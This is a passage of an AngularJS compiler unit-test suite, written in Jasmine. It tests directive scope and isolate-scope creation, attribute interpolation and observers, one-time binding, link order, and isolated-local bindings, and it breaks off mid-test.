              return {
                scope: true,
                restrict: 'CA',
                compile: function() {
                  return {pre: function (scope, element) {
                    log(scope.$id);
                    expect(element.data('$scope')).toBe(scope);
                  }};
                }
              };
            });
            directive('iscope' + uppercase(name), function(log) {
              return {
                scope: {},
                restrict: 'CA',
                compile: function() {
                  return function (scope, element) {
                    iscope = scope;
                    log(scope.$id);
                    expect(element.data('$isolateScopeNoTemplate')).toBe(scope);
                  };
                }
              };
            });
            directive('tscope' + uppercase(name), function(log) {
              return {
                scope: true,
                restrict: 'CA',
                templateUrl: 'tscope.html',
                compile: function() {
                  return function (scope, element) {
                    log(scope.$id);
                    expect(element.data('$scope')).toBe(scope);
                  };
                }
              };
            });
            directive('stscope' + uppercase(name), function(log) {
              return {
                scope: true,
                restrict: 'CA',
                template: '<span></span>',
                compile: function() {
                  return function (scope, element) {
                    log(scope.$id);
                    expect(element.data('$scope')).toBe(scope);
                  };
                }
              };
            });
            directive('trscope' + uppercase(name), function(log) {
              return {
                scope: true,
                replace: true,
                restrict: 'CA',
                templateUrl: 'trscope.html',
                compile: function() {
                  return function (scope, element) {
                    log(scope.$id);
                    expect(element.data('$scope')).toBe(scope);
                  };
                }
              };
            });
            directive('tiscope' + uppercase(name), function(log) {
              return {
                scope: {},
                restrict: 'CA',
                templateUrl: 'tiscope.html',
                compile: function() {
                  return function (scope, element) {
                    iscope = scope;
                    log(scope.$id);
                    expect(element.data('$isolateScope')).toBe(scope);
                  };
                }
              };
            });
            directive('stiscope' + uppercase(name), function(log) {
              return {
                scope: {},
                restrict: 'CA',
                template: '<span></span>',
                compile: function() {
                  return function (scope, element) {
                    iscope = scope;
                    log(scope.$id);
                    expect(element.data('$isolateScope')).toBe(scope);
                  };
                }
              };
            });
          });
          directive('log', function(log) {
            return {
              restrict: 'CA',
              link: {pre: function(scope) {
                log('log-' + scope.$id + '-' + (scope.$parent && scope.$parent.$id || 'no-parent'));
              }}
            };
          });
        }));
        it('should allow creation of new scopes', inject(function($rootScope, $compile, log) {
          element = $compile('<div><span scope><a log></a></span></div>')($rootScope);
          expect(log).toEqual('2; log-2-1; LOG');
          expect(element.find('span').hasClass('ng-scope')).toBe(true);
        }));
        it('should allow creation of new isolated scopes for directives', inject(
            function($rootScope, $compile, log) {
          element = $compile('<div><span iscope><a log></a></span></div>')($rootScope);
          expect(log).toEqual('log-1-no-parent; LOG; 2');
          $rootScope.name = 'abc';
          expect(iscope.$parent).toBe($rootScope);
          expect(iscope.name).toBeUndefined();
        }));
        it('should allow creation of new scopes for directives with templates', inject(
            function($rootScope, $compile, log, $httpBackend) {
          $httpBackend.expect('GET', 'tscope.html').respond('<a log>{{name}}; scopeId: {{$id}}</a>');
          element = $compile('<div><span tscope></span></div>')($rootScope);
          $httpBackend.flush();
          expect(log).toEqual('log-2-1; LOG; 2');
          $rootScope.name = 'Jozo';
          $rootScope.$apply();
          expect(element.text()).toBe('Jozo; scopeId: 2');
          expect(element.find('span').scope().$id).toBe(2);
        }));
        it('should allow creation of new scopes for replace directives with templates', inject(
            function($rootScope, $compile, log, $httpBackend) {
          $httpBackend.expect('GET', 'trscope.html').
              respond('<p><a log>{{name}}; scopeId: {{$id}}</a></p>');
          element = $compile('<div><span trscope></span></div>')($rootScope);
          $httpBackend.flush();
          expect(log).toEqual('log-2-1; LOG; 2');
          $rootScope.name = 'Jozo';
          $rootScope.$apply();
          expect(element.text()).toBe('Jozo; scopeId: 2');
          expect(element.find('a').scope().$id).toBe(2);
        }));
        it('should allow creation of new scopes for replace directives with templates in a repeater',
            inject(function($rootScope, $compile, log, $httpBackend) {
          $httpBackend.expect('GET', 'trscope.html').
              respond('<p><a log>{{name}}; scopeId: {{$id}} |</a></p>');
          element = $compile('<div><span ng-repeat="i in [1,2,3]" trscope></span></div>')($rootScope);
          $httpBackend.flush();
          expect(log).toEqual('log-3-2; LOG; 3; log-5-4; LOG; 5; log-7-6; LOG; 7');
          $rootScope.name = 'Jozo';
          $rootScope.$apply();
          expect(element.text()).toBe('Jozo; scopeId: 3 |Jozo; scopeId: 5 |Jozo; scopeId: 7 |');
          expect(element.find('p').scope().$id).toBe(3);
          expect(element.find('a').scope().$id).toBe(3);
        }));
        it('should allow creation of new isolated scopes for directives with templates', inject(
            function($rootScope, $compile, log, $httpBackend) {
          $httpBackend.expect('GET', 'tiscope.html').respond('<a log></a>');
          element = $compile('<div><span tiscope></span></div>')($rootScope);
          $httpBackend.flush();
          expect(log).toEqual('log-2-1; LOG; 2');
          $rootScope.name = 'abc';
          expect(iscope.$parent).toBe($rootScope);
          expect(iscope.name).toBeUndefined();
        }));
        it('should correctly create the scope hierachy', inject(
          function($rootScope, $compile, log) {
            element = $compile(
                '<div>' + //1
                  '<b class=scope>' + //2
                    '<b class=scope><b class=log></b></b>' + //3
                    '<b class=log></b>' +
                  '</b>' +
                  '<b class=scope>' + //4
                    '<b class=log></b>' +
                  '</b>' +
                '</div>'
              )($rootScope);
            expect(log).toEqual('2; 3; log-3-2; LOG; log-2-1; LOG; 4; log-4-1; LOG');
          })
        );
        it('should allow more than one new scope directives per element, but directives should share' +
            'the scope', inject(
          function($rootScope, $compile, log) {
            element = $compile('<div class="scope-a; scope-b"></div>')($rootScope);
            expect(log).toEqual('2; 2');
          })
        );
        it('should not allow more then one isolate scope creation per element', inject(
          function($rootScope, $compile) {
            expect(function(){
              $compile('<div class="iscope-a; scope-b"></div>');
            }).toThrowMinErr('$compile', 'multidir', 'Multiple directives [iscopeA, scopeB] asking for new/isolated scope on: ' +
                '<div class="iscope-a; scope-b">');
          })
        );
        it('should not allow more than one isolate scope creation per element regardless of directive priority', function() {
          module(function($compileProvider) {
            $compileProvider.directive('highPriorityScope', function() {
              return {
                restrict: 'C',
                priority: 1,
                scope: true,
                link: function() {}
              };
            });
          });
          inject(function($compile) {
            expect(function(){
              $compile('<div class="iscope-a; high-priority-scope"></div>');
            }).toThrowMinErr('$compile', 'multidir', 'Multiple directives [highPriorityScope, iscopeA] asking for new/isolated scope on: ' +
                    '<div class="iscope-a; high-priority-scope">');
          });
        });
        it('should create new scope even at the root of the template', inject(
          function($rootScope, $compile, log) {
            element = $compile('<div scope-a></div>')($rootScope);
            expect(log).toEqual('2');
          })
        );
        it('should create isolate scope even at the root of the template', inject(
          function($rootScope, $compile, log) {
            element = $compile('<div iscope></div>')($rootScope);
            expect(log).toEqual('2');
          })
        );
        describe('scope()/isolate() scope getters', function() {
          describe('with no directives', function() {
            it('should return the scope of the parent node', inject(
              function($rootScope, $compile) {
                element = $compile('<div></div>')($rootScope);
                expect(element.scope()).toBe($rootScope);
              })
            );
          });
          describe('with new scope directives', function() {
            it('should return the new scope at the directive element', inject(
              function($rootScope, $compile) {
                element = $compile('<div scope></div>')($rootScope);
                expect(element.scope().$parent).toBe($rootScope);
              })
            );
            it('should return the new scope for children in the original template', inject(
              function($rootScope, $compile) {
                element = $compile('<div scope><a></a></div>')($rootScope);
                expect(element.find('a').scope().$parent).toBe($rootScope);
              })
            );
            it('should return the new scope for children in the directive template', inject(
              function($rootScope, $compile, $httpBackend) {
                $httpBackend.expect('GET', 'tscope.html').respond('<a></a>');
                element = $compile('<div tscope></div>')($rootScope);
                $httpBackend.flush();
                expect(element.find('a').scope().$parent).toBe($rootScope);
              })
            );
            it('should return the new scope for children in the directive sync template', inject(
              function($rootScope, $compile) {
                element = $compile('<div stscope></div>')($rootScope);
                expect(element.find('span').scope().$parent).toBe($rootScope);
              })
            );
          });
          describe('with isolate scope directives', function() {
            it('should return the root scope for directives at the root element', inject(
              function($rootScope, $compile) {
                element = $compile('<div iscope></div>')($rootScope);
                expect(element.scope()).toBe($rootScope);
              })
            );
            it('should return the non-isolate scope at the directive element', inject(
              function($rootScope, $compile) {
                var directiveElement;
                element = $compile('<div><div iscope></div></div>')($rootScope);
                directiveElement = element.children();
                expect(directiveElement.scope()).toBe($rootScope);
                expect(directiveElement.isolateScope().$parent).toBe($rootScope);
              })
            );
            it('should return the isolate scope for children in the original template', inject(
              function($rootScope, $compile) {
                element = $compile('<div iscope><a></a></div>')($rootScope);
                expect(element.find('a').scope()).toBe($rootScope); //xx
              })
            );
            it('should return the isolate scope for children in directive template', inject(
              function($rootScope, $compile, $httpBackend) {
                $httpBackend.expect('GET', 'tiscope.html').respond('<a></a>');
                element = $compile('<div tiscope></div>')($rootScope);
                expect(element.isolateScope()).toBeUndefined(); // this is the current behavior, not desired feature
                $httpBackend.flush();
                expect(element.find('a').scope()).toBe(element.isolateScope());
                expect(element.isolateScope()).not.toBe($rootScope);
              })
            );
            it('should return the isolate scope for children in directive sync template', inject(
              function($rootScope, $compile) {
                element = $compile('<div stiscope></div>')($rootScope);
                expect(element.find('span').scope()).toBe(element.isolateScope());
                expect(element.isolateScope()).not.toBe($rootScope);
              })
            );
          });
          describe('with isolate scope directives and directives that manually create a new scope', function() {
            it('should return the new scope at the directive element', inject(
              function($rootScope, $compile) {
                var directiveElement;
                element = $compile('<div><a ng-if="true" iscope></a></div>')($rootScope);
                $rootScope.$apply();
                directiveElement = element.find('a');
                expect(directiveElement.scope().$parent).toBe($rootScope);
                expect(directiveElement.scope()).not.toBe(directiveElement.isolateScope());
              })
            );
            it('should return the isolate scope for child elements', inject(
              function($rootScope, $compile, $httpBackend) {
                var directiveElement, child;
                $httpBackend.expect('GET', 'tiscope.html').respond('<span></span>');
                element = $compile('<div><a ng-if="true" tiscope></a></div>')($rootScope);
                $rootScope.$apply();
                $httpBackend.flush();
                directiveElement = element.find('a');
                child = directiveElement.find('span');
                expect(child.scope()).toBe(directiveElement.isolateScope());
              })
            );
            it('should return the isolate scope for child elements in directive sync template', inject(
              function($rootScope, $compile) {
                var directiveElement, child;
                element = $compile('<div><a ng-if="true" stiscope></a></div>')($rootScope);
                $rootScope.$apply();
                directiveElement = element.find('a');
                child = directiveElement.find('span');
                expect(child.scope()).toBe(directiveElement.isolateScope());
              })
            );
          });
        });
      });
    });
  });
  describe('interpolation', function() {
    var observeSpy, directiveAttrs, deregisterObserver;
    beforeEach(module(function() {
      directive('observer', function() {
        return function(scope, elm, attr) {
          directiveAttrs = attr;
          observeSpy = jasmine.createSpy('$observe attr');
          deregisterObserver = attr.$observe('someAttr', observeSpy);
        };
      });
      directive('replaceSomeAttr', valueFn({
        compile: function(element, attr) {
          attr.$set('someAttr', 'bar-{{1+1}}');
          expect(element).toBe(attr.$$element);
        }
      }));
    }));
    it('should compile and link both attribute and text bindings', inject(
        function($rootScope, $compile) {
          $rootScope.name = 'angular';
          element = $compile('<div name="attr: {{name}}">text: {{name}}</div>')($rootScope);
          $rootScope.$digest();
          expect(element.text()).toEqual('text: angular');
          expect(element.attr('name')).toEqual('attr: angular');
        })
    );
    it('should one-time bind if the expression starts with two colons', inject(
        function($rootScope, $compile) {
          $rootScope.name = 'angular';
          element = $compile('<div name="attr: {{::name}}">text: {{::name}}</div>')($rootScope);
          expect($rootScope.$$watchers.length).toBe(2);
          $rootScope.$digest();
          expect(element.text()).toEqual('text: angular');
          expect(element.attr('name')).toEqual('attr: angular');
          expect($rootScope.$$watchers.length).toBe(0);
          $rootScope.name = 'not-angular';
          $rootScope.$digest();
          expect(element.text()).toEqual('text: angular');
          expect(element.attr('name')).toEqual('attr: angular');
        })
    );
    it('should one-time bind if the expression starts with a space and two colons', inject(
        function($rootScope, $compile) {
          $rootScope.name = 'angular';
          element = $compile('<div name="attr: {{::name}}">text: {{ ::name }}</div>')($rootScope);
          expect($rootScope.$$watchers.length).toBe(2);
          $rootScope.$digest();
          expect(element.text()).toEqual('text: angular');
          expect(element.attr('name')).toEqual('attr: angular');
          expect($rootScope.$$watchers.length).toBe(0);
          $rootScope.name = 'not-angular';
          $rootScope.$digest();
          expect(element.text()).toEqual('text: angular');
          expect(element.attr('name')).toEqual('attr: angular');
        })
    );
    it('should process attribute interpolation in pre-linking phase at priority 100', function() {
      module(function() {
        directive('attrLog', function(log) {
          return {
            compile: function($element, $attrs) {
              log('compile=' + $attrs.myName);
              return {
                pre: function($scope, $element, $attrs) {
                  log('preLinkP0=' + $attrs.myName);
                },
                post: function($scope, $element, $attrs) {
                  log('postLink=' + $attrs.myName);
                }
              };
            }
          };
        });
      });
      module(function() {
        directive('attrLogHighPriority', function(log) {
          return {
            priority: 101,
            compile: function() {
              return {
                pre: function($scope, $element, $attrs) {
                  log('preLinkP101=' + $attrs.myName);
                }
              };
            }
          };
        });
      });
      inject(function($rootScope, $compile, log) {
        element = $compile('<div attr-log-high-priority attr-log my-name="{{name}}"></div>')($rootScope);
        $rootScope.name = 'angular';
        $rootScope.$apply();
        log('digest=' + element.attr('my-name'));
        expect(log).toEqual('compile={{name}}; preLinkP101={{name}}; preLinkP0=; postLink=; digest=angular');
      });
    });
    describe('SCE values', function() {
      it('should resolve compile and link both attribute and text bindings', inject(
          function($rootScope, $compile, $sce) {
            $rootScope.name = $sce.trustAsHtml('angular');
            element = $compile('<div name="attr: {{name}}">text: {{name}}</div>')($rootScope);
            $rootScope.$digest();
            expect(element.text()).toEqual('text: angular');
            expect(element.attr('name')).toEqual('attr: angular');
          }));
    });
    it('should decorate the binding with ng-binding and interpolation function', inject(
        function($compile, $rootScope) {
          element = $compile('<div>{{1+2}}</div>')($rootScope);
          expect(element.hasClass('ng-binding')).toBe(true);
          expect(element.data('$binding')[0].exp).toEqual('{{1+2}}');
        }));
    it('should observe interpolated attrs', inject(function($rootScope, $compile) {
      $compile('<div some-attr="{{value}}" observer></div>')($rootScope);
      // should be async
      expect(observeSpy).not.toHaveBeenCalled();
      $rootScope.$apply(function() {
        $rootScope.value = 'bound-value';
      });
      expect(observeSpy).toHaveBeenCalledOnceWith('bound-value');
    }));
    it('should return a deregistration function while observing an attribute', inject(function($rootScope, $compile) {
      $compile('<div some-attr="{{value}}" observer></div>')($rootScope);
      $rootScope.$apply('value = "first-value"');
      expect(observeSpy).toHaveBeenCalledWith('first-value');
      deregisterObserver();
      $rootScope.$apply('value = "new-value"');
      expect(observeSpy).not.toHaveBeenCalledWith('new-value');
    }));
    it('should set interpolated attrs to initial interpolation value', inject(function($rootScope, $compile) {
      // we need the interpolated attributes to be initialized so that linking fn in a component
      // can access the value during link
      $rootScope.whatever = 'test value';
      $compile('<div some-attr="{{whatever}}" observer></div>')($rootScope);
      expect(directiveAttrs.someAttr).toBe($rootScope.whatever);
    }));
    it('should allow directive to replace interpolated attributes before attr interpolation compilation', inject(
        function($compile, $rootScope) {
      element = $compile('<div some-attr="foo-{{1+1}}" replace-some-attr></div>')($rootScope);
      $rootScope.$digest();
      expect(element.attr('some-attr')).toEqual('bar-2');
    }));
    it('should call observer of non-interpolated attr through $evalAsync',
      inject(function($rootScope, $compile) {
        $compile('<div some-attr="nonBound" observer></div>')($rootScope);
        expect(directiveAttrs.someAttr).toBe('nonBound');
        expect(observeSpy).not.toHaveBeenCalled();
        $rootScope.$digest();
        expect(observeSpy).toHaveBeenCalled();
      })
    );
    it('should delegate exceptions to $exceptionHandler', function() {
      observeSpy = jasmine.createSpy('$observe attr').andThrow('ERROR');
      module(function($exceptionHandlerProvider) {
        $exceptionHandlerProvider.mode('log');
        directive('error', function() {
          return function(scope, elm, attr) {
            attr.$observe('someAttr', observeSpy);
            attr.$observe('someAttr', observeSpy);
          };
        });
      });
      inject(function($compile, $rootScope, $exceptionHandler) {
        $compile('<div some-attr="{{value}}" error></div>')($rootScope);
        $rootScope.$digest();
        expect(observeSpy).toHaveBeenCalled();
        expect(observeSpy.callCount).toBe(2);
        expect($exceptionHandler.errors).toEqual(['ERROR', 'ERROR']);
      });
    });
    it('should translate {{}} in terminal nodes', inject(function($rootScope, $compile) {
      element = $compile('<select ng:model="x"><option value="">Greet {{name}}!</option></select>')($rootScope);
      $rootScope.$digest();
      expect(sortedHtml(element).replace(' selected="true"', '')).
        toEqual('<select ng:model="x">' +
                  '<option value="">Greet !</option>' +
                '</select>');
      $rootScope.name = 'Misko';
      $rootScope.$digest();
      expect(sortedHtml(element).replace(' selected="true"', '')).
        toEqual('<select ng:model="x">' +
                  '<option value="">Greet Misko!</option>' +
                '</select>');
    }));
    it('should support custom start/end interpolation symbols in template and directive template',
        function() {
      module(function($interpolateProvider, $compileProvider) {
        $interpolateProvider.startSymbol('##').endSymbol(']]');
        $compileProvider.directive('myDirective', function() {
          return {
            template: '<span>{{hello}}|{{hello|uppercase}}</span>'
          };
        });
      });
      inject(function($compile, $rootScope) {
        element = $compile('<div>##hello|uppercase]]|<div my-directive></div></div>')($rootScope);
        $rootScope.hello = 'ahoj';
        $rootScope.$digest();
        expect(element.text()).toBe('AHOJ|ahoj|AHOJ');
      });
    });
    it('should support custom start/end interpolation symbols in async directive template',
        function() {
      module(function($interpolateProvider, $compileProvider) {
        $interpolateProvider.startSymbol('##').endSymbol(']]');
        $compileProvider.directive('myDirective', function() {
          return {
            templateUrl: 'myDirective.html'
          };
        });
      });
      inject(function($compile, $rootScope, $templateCache) {
        $templateCache.put('myDirective.html', '<span>{{hello}}|{{hello|uppercase}}</span>');
        element = $compile('<div>##hello|uppercase]]|<div my-directive></div></div>')($rootScope);
        $rootScope.hello = 'ahoj';
        $rootScope.$digest();
        expect(element.text()).toBe('AHOJ|ahoj|AHOJ');
      });
    });
    it('should make attributes observable for terminal directives', function() {
      module(function() {
        directive('myAttr', function(log) {
          return {
            terminal: true,
            link: function(scope, element, attrs) {
              attrs.$observe('myAttr', function(val) {
                log(val);
              });
            }
          };
        });
      });
      inject(function($compile, $rootScope, log) {
        element = $compile('<div my-attr="{{myVal}}"></div>')($rootScope);
        expect(log).toEqual([]);
        $rootScope.myVal = 'carrot';
        $rootScope.$digest();
        expect(log).toEqual(['carrot']);
      });
    });
  });
  describe('link phase', function() {
    beforeEach(module(function() {
      forEach(['a', 'b', 'c'], function(name) {
        directive(name, function(log) {
          return {
            restrict: 'ECA',
            compile: function() {
              log('t' + uppercase(name));
              return {
                pre: function() {
                  log('pre' + uppercase(name));
                },
                post: function linkFn() {
                  log('post' + uppercase(name));
                }
              };
            }
          };
        });
      });
    }));
    it('should not store linkingFns for noop branches', inject(function ($rootScope, $compile) {
      element = jqLite('<div name="{{a}}"><span>ignore</span></div>');
      var linkingFn = $compile(element);
      // Now prune the branches with no directives
      element.find('span').remove();
      expect(element.find('span').length).toBe(0);
      // and we should still be able to compile without errors
      linkingFn($rootScope);
    }));
    it('should compile from top to bottom but link from bottom up', inject(
        function($compile, $rootScope, log) {
          element = $compile('<a b><c></c></a>')($rootScope);
          expect(log).toEqual('tA; tB; tC; preA; preB; preC; postC; postB; postA');
        }
    ));
    it('should support link function on directive object', function() {
      module(function() {
        directive('abc', valueFn({
          link: function(scope, element, attrs) {
            element.text(attrs.abc);
          }
        }));
      });
      inject(function($compile, $rootScope) {
        element = $compile('<div abc="WORKS">FAIL</div>')($rootScope);
        expect(element.text()).toEqual('WORKS');
      });
    });
    it('should support $observe inside link function on directive object', function() {
      module(function() {
        directive('testLink', valueFn({
          templateUrl: 'test-link.html',
          link: function(scope, element, attrs) {
            attrs.$observe( 'testLink', function ( val ) {
              scope.testAttr = val;
            });
          }
        }));
      });
      inject(function($compile, $rootScope, $templateCache) {
        $templateCache.put('test-link.html', '{{testAttr}}' );
        element = $compile('<div test-link="{{1+2}}"></div>')($rootScope);
        $rootScope.$apply();
        expect(element.text()).toBe('3');
      });
    });
  });
  describe('attrs', function() {
    it('should allow setting of attributes', function() {
      module(function() {
        directive({
          setter: valueFn(function(scope, element, attr) {
            attr.$set('name', 'abc');
            attr.$set('disabled', true);
            expect(attr.name).toBe('abc');
            expect(attr.disabled).toBe(true);
          })
        });
      });
      inject(function($rootScope, $compile) {
        element = $compile('<div setter></div>')($rootScope);
        expect(element.attr('name')).toEqual('abc');
        expect(element.attr('disabled')).toEqual('disabled');
      });
    });
    it('should read boolean attributes as boolean only on control elements', function() {
      var value;
      module(function() {
        directive({
          input: valueFn({
            restrict: 'ECA',
            link:function(scope, element, attr) {
              value = attr.required;
            }
          })
        });
      });
      inject(function($rootScope, $compile) {
        element = $compile('<input required></input>')($rootScope);
        expect(value).toEqual(true);
      });
    });
    it('should read boolean attributes as text on non-controll elements', function() {
      var value;
      module(function() {
        directive({
          div: valueFn({
            restrict: 'ECA',
            link:function(scope, element, attr) {
              value = attr.required;
            }
          })
        });
      });
      inject(function($rootScope, $compile) {
        element = $compile('<div required="some text"></div>')($rootScope);
        expect(value).toEqual('some text');
      });
    });
    it('should create new instance of attr for each template stamping', function() {
      module(function($provide) {
        var state = { first: [], second: [] };
        $provide.value('state', state);
        directive({
          first: valueFn({
            priority: 1,
            compile: function(templateElement, templateAttr) {
              return function(scope, element, attr) {
                state.first.push({
                  template: {element: templateElement, attr:templateAttr},
                  link: {element: element, attr: attr}
                });
              };
            }
          }),
          second: valueFn({
            priority: 2,
            compile: function(templateElement, templateAttr) {
              return function(scope, element, attr) {
                state.second.push({
                  template: {element: templateElement, attr:templateAttr},
                  link: {element: element, attr: attr}
                });
              };
            }
          })
        });
      });
      inject(function($rootScope, $compile, state) {
        var template = $compile('<div first second>');
        dealoc(template($rootScope.$new(), noop));
        dealoc(template($rootScope.$new(), noop));
        // instance between directives should be shared
        expect(state.first[0].template.element).toBe(state.second[0].template.element);
        expect(state.first[0].template.attr).toBe(state.second[0].template.attr);
        // the template and the link can not be the same instance
        expect(state.first[0].template.element).not.toBe(state.first[0].link.element);
        expect(state.first[0].template.attr).not.toBe(state.first[0].link.attr);
        // each new template needs to be new instance
        expect(state.first[0].link.element).not.toBe(state.first[1].link.element);
        expect(state.first[0].link.attr).not.toBe(state.first[1].link.attr);
        expect(state.second[0].link.element).not.toBe(state.second[1].link.element);
        expect(state.second[0].link.attr).not.toBe(state.second[1].link.attr);
      });
    });
    it('should properly $observe inside ng-repeat', function() {
      var spies = [];
      module(function() {
        directive('observer', function() {
          return function(scope, elm, attr) {
            spies.push(jasmine.createSpy('observer ' + spies.length));
            attr.$observe('some', spies[spies.length - 1]);
          };
        });
      });
      inject(function($compile, $rootScope) {
        element = $compile('<div><div ng-repeat="i in items">'+
                              '<span some="id_{{i.id}}" observer></span>'+
                           '</div></div>')($rootScope);
        $rootScope.$apply(function() {
          $rootScope.items = [{id: 1}, {id: 2}];
        });
        expect(spies[0]).toHaveBeenCalledOnceWith('id_1');
        expect(spies[1]).toHaveBeenCalledOnceWith('id_2');
        spies[0].reset();
        spies[1].reset();
        $rootScope.$apply(function() {
          $rootScope.items[0].id = 5;
        });
        expect(spies[0]).toHaveBeenCalledOnceWith('id_5');
      });
    });
    describe('$set', function() {
      var attr;
      beforeEach(function(){
        module(function() {
          directive('input', valueFn({
            restrict: 'ECA',
            link: function(scope, element, attr) {
              scope.attr = attr;
            }
          }));
        });
        inject(function($compile, $rootScope) {
          element = $compile('<input></input>')($rootScope);
          attr = $rootScope.attr;
          expect(attr).toBeDefined();
        });
      });
      it('should set attributes', function() {
        attr.$set('ngMyAttr', 'value');
        expect(element.attr('ng-my-attr')).toEqual('value');
        expect(attr.ngMyAttr).toEqual('value');
      });
      it('should allow overriding of attribute name and remember the name', function() {
        attr.$set('ngOther', '123', true, 'other');
        expect(element.attr('other')).toEqual('123');
        expect(attr.ngOther).toEqual('123');
        attr.$set('ngOther', '246');
        expect(element.attr('other')).toEqual('246');
        expect(attr.ngOther).toEqual('246');
      });
      it('should remove attribute', function() {
        attr.$set('ngMyAttr', 'value');
        expect(element.attr('ng-my-attr')).toEqual('value');
        attr.$set('ngMyAttr', undefined);
        expect(element.attr('ng-my-attr')).toBe(undefined);
        attr.$set('ngMyAttr', 'value');
        attr.$set('ngMyAttr', null);
        expect(element.attr('ng-my-attr')).toBe(undefined);
      });
      it('should not set DOM element attr if writeAttr false', function() {
        attr.$set('test', 'value', false);
        expect(element.attr('test')).toBeUndefined();
        expect(attr.test).toBe('value');
      });
    });
  });
  describe('isolated locals', function() {
    var componentScope, regularScope;
    beforeEach(module(function() {
      directive('myComponent', function() {
        return {
          scope: {
            attr: '@',
            attrAlias: '@attr',
            ref: '=',
            refAlias: '= ref',
            reference: '=',
            optref: '=?',
            optrefAlias: '=? optref',
            optreference: '=?',
            expr: '&',
            exprAlias: '&expr'
          },
          link: function(scope) {
            componentScope = scope;
          }
        };
      });
      directive('badDeclaration', function() {
        return {
          scope: { attr: 'xxx' }
        };
      });
      directive('storeScope', function() {
        return {
          link: function(scope) {
            regularScope = scope;
          }
        };
      });
    }));
    it('should give other directives the parent scope', inject(function($rootScope) {
      compile('<div><input type="text" my-component store-scope ng-model="value"></div>');
      $rootScope.$apply(function() {
        $rootScope.value = 'from-parent';
      });
      expect(element.find('input').val()).toBe('from-parent');
      expect(componentScope).not.toBe(regularScope);
      expect(componentScope.$parent).toBe(regularScope);
    }));
    it('should not give the isolate scope to other directive template', function() {
      module(function() {
        directive('otherTplDir', function() {
          return {
            template: 'value: {{value}}'
          };
        });
      });
      inject(function($rootScope) {
        compile('<div my-component other-tpl-dir>');
        $rootScope.$apply(function() {
          $rootScope.value = 'from-parent';
        });
        expect(element.html()).toBe('value: from-parent');
      });
    });
    it('should not give the isolate scope to other directive template (with templateUrl)', function() {
      module(function() {
        directive('otherTplDir', function() {
          return {
            templateUrl: 'other.html'
          };
        });
      });
      inject(function($rootScope, $templateCache) {
        $templateCache.put('other.html', 'value: {{value}}');
        compile('<div my-component other-tpl-dir>');
        $rootScope.$apply(function() {
          $rootScope.value = 'from-parent';
        });
        expect(element.html()).toBe('value: from-parent');
      });
    });
    it('should not give the isolate scope to regular child elements', function() {
      inject(function($rootScope) {
        compile('<div my-component>value: {{value}}</div>');
        $rootScope.$apply(function() {
          $rootScope.value = 'from-parent';
        });
        expect(element.html()).toBe('value: from-parent');
      });
    });
    describe('bind-once', function () {
      function countWatches(scope) {
        var result = 0;
        while (scope !== null) {
          result += (scope.$$watchers && scope.$$watchers.length) || 0;
          result += countWatches(scope.$$childHead);
          scope = scope.$$nextSibling;
        }
        return result;
      }
      it('should be possible to one-time bind a parameter on a component with a template', function() {
        module(function() {
          directive('otherTplDir', function() {
            return {
              scope: {param1: '=', param2: '='},
              template: '1:{{param1}};2:{{param2}};3:{{::param1}};4:{{::param2}}'
            };
          });
        });
        inject(function($rootScope) {
          compile('<div other-tpl-dir param1="::foo" param2="bar"></div>');
          expect(countWatches($rootScope)).toEqual(7); // 5 -> template watch group, 2 -> '='
          $rootScope.$digest();
          expect(element.html()).toBe('1:;2:;3:;4:');
          expect(countWatches($rootScope)).toEqual(7);
          $rootScope.foo = 'foo';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:;3:foo;4:');
          expect(countWatches($rootScope)).toEqual(5);
          $rootScope.foo = 'baz';
          $rootScope.bar = 'bar';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:bar;3:foo;4:bar');
          expect(countWatches($rootScope)).toEqual(4);
          $rootScope.bar = 'baz';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:baz;3:foo;4:bar');
        });
      });
      it('should be possible to one-time bind a parameter on a component with a template', function() {
        module(function() {
          directive('otherTplDir', function() {
            return {
              scope: {param1: '@', param2: '@'},
              template: '1:{{param1}};2:{{param2}};3:{{::param1}};4:{{::param2}}'
            };
          });
        });
        inject(function($rootScope) {
          compile('<div other-tpl-dir param1="{{::foo}}" param2="{{bar}}"></div>');
          expect(countWatches($rootScope)).toEqual(7); // 5 -> template watch group, 2 -> {{ }}
          $rootScope.$digest();
          expect(element.html()).toBe('1:;2:;3:;4:');
          expect(countWatches($rootScope)).toEqual(5); // (- 2) -> bind-once in template
          $rootScope.foo = 'foo';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:;3:;4:');
          expect(countWatches($rootScope)).toEqual(4);
          $rootScope.foo = 'baz';
          $rootScope.bar = 'bar';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:bar;3:;4:');
          expect(countWatches($rootScope)).toEqual(4);
          $rootScope.bar = 'baz';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:baz;3:;4:');
        });
      });
      it('should be possible to one-time bind a parameter on a component with a template', function() {
        module(function() {
          directive('otherTplDir', function() {
            return {
              scope: {param1: '=', param2: '='},
              templateUrl: 'other.html'
            };
          });
        });
        inject(function($rootScope, $templateCache) {
          $templateCache.put('other.html', '1:{{param1}};2:{{param2}};3:{{::param1}};4:{{::param2}}');
          compile('<div other-tpl-dir param1="::foo" param2="bar"></div>');
          $rootScope.$digest();
          expect(element.html()).toBe('1:;2:;3:;4:');
          expect(countWatches($rootScope)).toEqual(7); // 5 -> template watch group, 2 -> '='
          $rootScope.foo = 'foo';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:;3:foo;4:');
          expect(countWatches($rootScope)).toEqual(5);
          $rootScope.foo = 'baz';
          $rootScope.bar = 'bar';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:bar;3:foo;4:bar');
          expect(countWatches($rootScope)).toEqual(4);
          $rootScope.bar = 'baz';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:baz;3:foo;4:bar');
        });
      });
      it('should be possible to one-time bind a parameter on a component with a template', function() {
        module(function() {
          directive('otherTplDir', function() {
            return {
              scope: {param1: '@', param2: '@'},
              templateUrl: 'other.html'
            };
          });
        });
        inject(function($rootScope, $templateCache) {
          $templateCache.put('other.html', '1:{{param1}};2:{{param2}};3:{{::param1}};4:{{::param2}}');
          compile('<div other-tpl-dir param1="{{::foo}}" param2="{{bar}}"></div>');
          $rootScope.$digest();
          expect(element.html()).toBe('1:;2:;3:;4:');
          expect(countWatches($rootScope)).toEqual(5); // (5 - 2) -> template watch group, 2 -> {{ }}
          $rootScope.foo = 'foo';
          $rootScope.$digest();
